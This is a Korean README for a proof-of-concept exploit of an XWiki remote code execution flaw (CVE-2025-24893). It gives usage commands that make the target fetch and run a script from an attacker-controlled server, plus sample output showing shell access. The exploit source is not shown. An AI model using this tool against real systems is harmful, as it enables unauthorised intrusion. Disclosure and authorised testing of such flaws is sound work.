XWiki RCE 익스플로잇 PoC (CVE-2025-24893)

개요

이 저장소는 CVE-2025-24893으로 식별된 XWiki 원격 코드 실행(RCE) 취약점에 대한 개념 증명(PoC) 익스플로잇을 포함합니다. 이 취약점은 공격자가 SolrSearch 엔드포인트에 조작된 요청을 보내 대상 XWiki 인스턴스에서 임의의 코드를 실행할 수 있도록 합니다. 이 스크립트는 HTTP 및 HTTPS 대상 모두를 지원합니다.

⚠️ 면책 조항: 이 PoC는 교육 및 연구 목적으로만 제공됩니다. 명시적 허가 없이 시스템에 이 코드를 무단 사용하는 것은 불법이며 비윤리적입니다. 시스템을 테스트하기 전에 항상 적절한 승인을 받으십시오.

취약점 세부 사항

CVE ID: CVE-2025-24893
영향받는 구성 요소: XWiki SolrSearch 엔드포인트
영향: 원격 코드 실행(RCE)
권고: GitHub Security Advisory

이 취약점은 SolrSearch 엔드포인트에서 사용자 입력을 부적절하게 처리하여 조작된 페이로드를 통해 Groovy 코드를 주입할 수 있기 때문에 발생합니다. 이 PoC는 공격자가 이를 악용하여 대상 서버에서 임의의 명령을 실행하는 방법을 보여줍니다.

사전 요구 사항

Python 3.x
필요한 Python 라이브러리: requests, argparse, urllib.parse, re, html
CVE-2025-24893에 취약한 대상 XWiki 인스턴스
HTTP 또는 HTTPS를 통해 접근 가능한, 공격자가 제어하는 bash 스크립트 호스팅 서버
대상에서 실행될 코드를 포함하는 파일

설치

이 저장소를 클론합니다:

git clone https://github.com/570RMBR3AK3R/xwiki-cve-2025-24893-poc.git

필요한 Python 라이브러리를 설치합니다:
```
pip install requests
```

사용법

스크립트는 대상 XWiki 인스턴스에 조작된 HTTP/HTTPS 요청을 보내, 공격자가 제어하는 서버에서 파일을 가져와 실행하는 curl 명령을 실행하는 Groovy 페이로드를 주입합니다.

다음 명령으로 스크립트를 실행합니다:

python3 exploit.py --url <target_url> --server <attacker_server> --file <malicious_file> [--no-verify]

인수

--url: 대상 XWiki 인스턴스의 기본 URL (예: http://target 또는 https://target).
--server: 공격자 서버의 IP 또는 호스트 이름, 필요시 포트 포함 (예: 192.168.1.100:8080). HTTP 및 HTTPS 모두 지원.
--file: 실행할 코드가 포함된 공격자 서버의 파일 이름 (예: exploit.sh).
--no-verify: HTTPS 대상에 대한 SSL 인증 확인을 비활성화하는 선택적 플래그 (주의해서 사용, 테스트 전용).

예제

python3 exploit.py --url http(s)://vulnerable-xwiki.com --server http(s)://192.168.1.100:8080 --file exploit.sh

SSL 인증 확인을 우회하려면 (예: 자체 서명 인증서의 경우):

python3 exploit.py --url https://vulnerable-xwiki.com --server http(s)://192.168.1.100:8080 --file exploit.sh --no-verify

이렇게 하면:

Groovy 스크립트를 사용하여 curl 명령을 실행하는 페이로드를 구성합니다.
공격자 서버(http(s)://192.168.1.100:8080)에서 지정된 파일(exploit.sh)을 가져옵니다.
가져온 파일을 대상 시스템에서 실행합니다.
출력을 추출하여 표시하며, HTML 태그와 엔티티를 정리합니다.

출력

스크립트는 대상으로부터 응답을 추출하고, HTML 태그(예: <br/>, <del>)를 제거하며, 가독성을 위해 HTML 엔티티를 일반 텍스트로 변환합니다. 정리된 출력이 콘솔에 출력됩니다.

샘플

python3 exploit.py --url http://<redacted> --server http://<redacted>:8080 --file exploit.sh 
uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)

제한 사항

대상 XWiki 인스턴스는 CVE-2025-24893에 취약해야 합니다.
공격자의 서버는 대상 시스템에서 HTTP 또는 HTTPS를 통해 접근 가능해야 합니다.
스크립트는 대상 서버가 SolrSearch 엔드포인트와 Groovy 실행을 지원한다고 가정합니다.

완화 조치

이 취약점으로부터 보호하려면:

XWiki를 최신 패치 버전으로 업데이트하십시오.
자세한 완화 단계는 GitHub Security Advisory를 참조하십시오.
블로그 참조: CVE-2025-24893

라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하십시오.

xwiki-cve-2025-24893-poc

인기